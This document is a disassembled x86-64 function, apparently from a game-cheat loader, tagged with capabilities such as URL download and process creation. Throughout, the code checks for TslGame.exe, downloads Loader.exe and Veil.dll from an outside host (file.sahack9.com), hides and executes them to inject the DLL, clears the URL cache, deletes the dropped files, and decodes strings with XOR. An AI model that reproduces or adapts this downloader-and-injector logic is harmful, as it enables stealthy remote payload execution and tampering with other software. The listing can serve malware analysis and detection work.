Function at 0x1400024f0
Capabilities:
Create process on windows
Delete file
Download url
Encode data using xor
Receive data
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x1400aa020]
xor rax, rsp
mov qword [rbp + 0x4f], rax
xor r14d, r14d
cmp byte [0x1400aac51], r14b
je 0x140002b63
movss xmm0, dword [0x1400b0170]
movss xmm1, dword [0x1400b0174]
mov rcx, qword [0x1400b00e0]
mov eax, dword [rcx + 0x1dc0]
or eax, 1
mov dword [rcx + 0x1dc0], eax
movss dword [rcx + 0x1dd4], xmm0
movss dword [rcx + 0x1dd8], xmm1
mov qword [rcx + 0x1ddc], r14
mov dword [rcx + 0x1dc4], 2
mov byte [rcx + 0x1dfc], 1
movss xmm0, dword [0x14009c958]
movss xmm1, dword [0x14009c95c]
movss dword [rcx + 0x1de4], xmm0
movss dword [rcx + 0x1de8], xmm1
mov dword [rcx + 0x1dc8], 1
or eax, 0x42
mov dword [rcx + 0x1dc0], eax
mov dword [rcx + 0x1e20], 0x3f800000
mov r8d, 0x12a
lea rdx, [0x1400aac51]
lea rcx, str.Main
call fcn.1400179b0
test al, al
je 0x140002b5e
lea rcx, str.___WARRING____dont_not_close_Loader
call fcn.1400434a0
mov rdx, qword [0x1400b00b8]
mov qword [rbp - 0x21], r14
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x11], xmm0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r14b
jne 0x140002601
lea rcx, [rbp - 0x21]
call fcn.140002ba0
nop
lea rdx, [rbp - 0x21]
lea rcx, [rbp + 0xf]
call fcn.140006410
lea rdx, [rbp + 0xf]
mov rcx, qword [rbp + 0xf]
mov rax, qword [rbp + 0x27]
mov rdi, qword [rbp + 0x1f]
cmp rax, 0x10
jb 0x140002640
mov rbx, rcx
lea rsi, [rcx + rdi]
jmp 0x140002648
lea rsi, [rdx + rdi]
lea rbx, [rbp + 0xf]
cmp rbx, rsi
je 0x140002670
nop dword [rax]
movsx ecx, byte [rbx]
call fcn.14005d8d0
test eax, eax
je 0x140002664
inc rbx
cmp rbx, rsi
jne 0x140002650
mov rax, qword [rbp + 0x27]
mov rdi, qword [rbp + 0x1f]
mov rcx, qword [rbp + 0xf]
lea r8, [rbp + 0xf]
mov rdx, r14
cmp rax, 0x10
jb 0x14000268f
sub rbx, rcx
mov rax, rdi
sub rax, r14
cmp rax, rbx
cmovb rbx, rax
jmp 0x14000269d
sub rbx, r8
cmp rdi, rbx
cmovb rbx, rdi
lea rcx, [rbp + 0xf]
add rcx, rdx
sub rdi, rbx
mov r8, rdi
sub r8, rdx
inc r8
lea rdx, [rcx + rbx]
call fcn.140052760
mov qword [rbp + 0x1f], rdi
mov rdx, qword [rbp - 9]
cmp rdx, 0x10
jb 0x1400026f4
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b9a
call fcn.140050320
lea rcx, [rbp + 0x2f]
call fcn.140003150
nop
lea rdx, [rbp + 0xf]
lea rcx, [rbp + 0x2f]
call fcn.140003490
test al, al
jne 0x140002b92
mov qword [rbp - 0x11], 0xb
mov qword [rbp - 9], 0xf
movsd xmm0, qword [str.TslGame.exe]
movsd qword [rbp - 0x21], xmm0
movzx eax, word [0x14008fe50]
mov word [rbp - 0x19], ax
movzx eax, byte [0x14008fe52]
mov byte [rbp - 0x17], al
mov byte [rbp - 0x16], 0
lea rcx, [rbp - 0x21]
call fcn.1400020e0
mov qword [rbp - 0x29], 0
test eax, eax
mov eax, dword [0x14009c990]
mov dword [rbp - 0x31], eax
movzx eax, byte [0x14009c994]
jne 0x140002780
mov byte [0x1400afe54], 0
nop word [rax + rax]
mov byte [rbp - 0x31], 0x4c
xor byte [rbp - 0x30], 0x34
xor byte [rbp - 0x2f], 0x35
xor byte [rbp - 0x2e], 0x36
xor al, 0x37
mov byte [rbp - 0x2d], al
lea rdx, [rbp - 0x29]
lea rcx, [rbp - 0x31]
call fcn.140043f60
test al, al
je 0x14000281e
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, str.Loader.exe
lea rdx, str.https:__file.sahack9.com_hackfile_Loader.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov edx, 6
lea rcx, str.Loader.exe
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, str.Loader.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r8, str.Load_Success__
lea rdx, [0x14008fe18]
lea rcx, [0x1400b0158]
call fcn.14000d740
mov eax, dword [str.zZ_STL9]
mov dword [rbp - 0x29], eax
movzx eax, word [0x1400900bc]
mov word [rbp - 0x25], ax
movzx eax, byte [0x1400900be]
mov qword [rbp - 0x31], 0
mov byte [rbp - 0x29], 0x49
xor byte [rbp - 0x28], 0x34
xor byte [rbp - 0x27], 0x35
xor byte [rbp - 0x26], 0x36
xor byte [rbp - 0x25], 0x37
xor byte [rbp - 0x24], 0x38
xor al, 0x39
mov byte [rbp - 0x23], al
lea rdx, [rbp - 0x31]
lea rcx, [rbp - 0x29]
call fcn.140043f60
test al, al
je 0x1400029d9
cmp byte [0x1400afe54], 0
jne 0x1400029bf
mov qword [rbp - 0x11], 0xb
mov qword [rbp - 9], 0xf
movsd xmm0, qword [str.TslGame.exe]
movsd qword [rbp - 0x21], xmm0
movzx eax, word [0x14008fe50]
mov word [rbp - 0x19], ax
movzx eax, byte [0x14008fe52]
mov byte [rbp - 0x17], al
mov byte [rbp - 0x16], 0
lea rcx, [rbp - 0x21]
call fcn.1400020e0
test eax, eax
je 0x1400029b6
movdqa xmm0, xmmword [0x14009d970]
movdqu xmmword [rbp - 0x21], xmm0
movdqa xmm1, xmmword [0x14009d980]
movdqu xmmword [rbp - 0x11], xmm1
mov dword [rbp - 1], 0x72403a71
mov dword [rbp + 3], 0x7f347571
mov dword [rbp + 7], 0x1007170
mov rcx, r14
nop dword [rax]
lea eax, [rcx - 0xc]
xor byte [rbp + rcx - 0x21], al
inc rcx
cmp rcx, 0x2a
jb 0x140002900
mov byte [rbp + 0xa], 0
lea rcx, [rbp - 0x21]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, str.Veil.dll
lea rdx, str.https:__file.sahack9.com_hackfile_Veil.dll
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
lea r9, str.Veil.dll
lea r8, str.Loader.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r8, str.Inject_Success__
lea rdx, [0x14008fe18]
lea rcx, [0x1400b0158]
call fcn.14000d740
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.Loader.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, str.Veil.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [0x1400afe54], 1
jmp 0x1400029d9
lea r8, str.Please_Run_TslGame
jmp 0x1400029c6
lea r8, str.___ERROR____TslGame_running...
lea rdx, [0x14008fe18]
lea rcx, [0x1400b0158]
call fcn.14000d740
mov rbx, qword [0x1400b00e0]
mov rax, qword [rbx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x140002a09
mov eax, dword [rax + 0x1f4]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.140045470
mov rbx, qword [0x1400b00e0]
mov eax, dword [0x1400900b0]
mov dword [rbp - 0x31], eax
movzx eax, word [0x1400900b4]
mov word [rbp - 0x2d], ax
movss xmm0, dword [0x14009d4a0]
movzx eax, byte [0x1400900b6]
movss dword [rbp - 0x35], xmm0
mov dword [rbp - 0x39], 0
mov byte [rbp - 0x31], 0x4c
xor byte [rbp - 0x30], 0x34
xor byte [rbp - 0x2f], 0x35
xor byte [rbp - 0x2e], 0x36
xor byte [rbp - 0x2d], 0x37
xor byte [rbp - 0x2c], 0x38
xor al, 0x39
mov byte [rbp - 0x2b], al
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd rcx, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
xor edx, edx
lea rcx, [rbp - 0x31]
call fcn.14000ced0
cmp dword [rbx + 0x1d6c], eax
jne 0x140002a96
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x140002aa5
mov byte [rbx + 0x1dac], 1
mov dword [rsp + 0x20], r14d
lea r8, [rbp - 0x39]
mov edx, eax
lea rcx, [rbp - 0x31]
call fcn.140014b90
lea rcx, [0x1400afe56]
mov rax, qword [0x1400b0160]
test rax, rax
cmovne rcx, rax
xor edx, edx
call fcn.140042f80
call fcn.140014da0
nop
mov rdx, qword [rbp + 0x47]
cmp rdx, 0x10
jb 0x140002b16
inc rdx
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b9a
call fcn.140050320
movdqa xmm0, xmmword [0x14009d530]
movdqu xmmword [rbp + 0x3f], xmm0
mov byte [rbp + 0x2f], 0
mov rdx, qword [rbp + 0x27]
cmp rdx, 0x10
jb 0x140002b5e
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b8c
call fcn.140050320
call fcn.14001a9b0
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140050300
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.14005e4d0
nop
xor ecx, ecx
call fcn.140056f70
nop
call fcn.14005e4d0
int3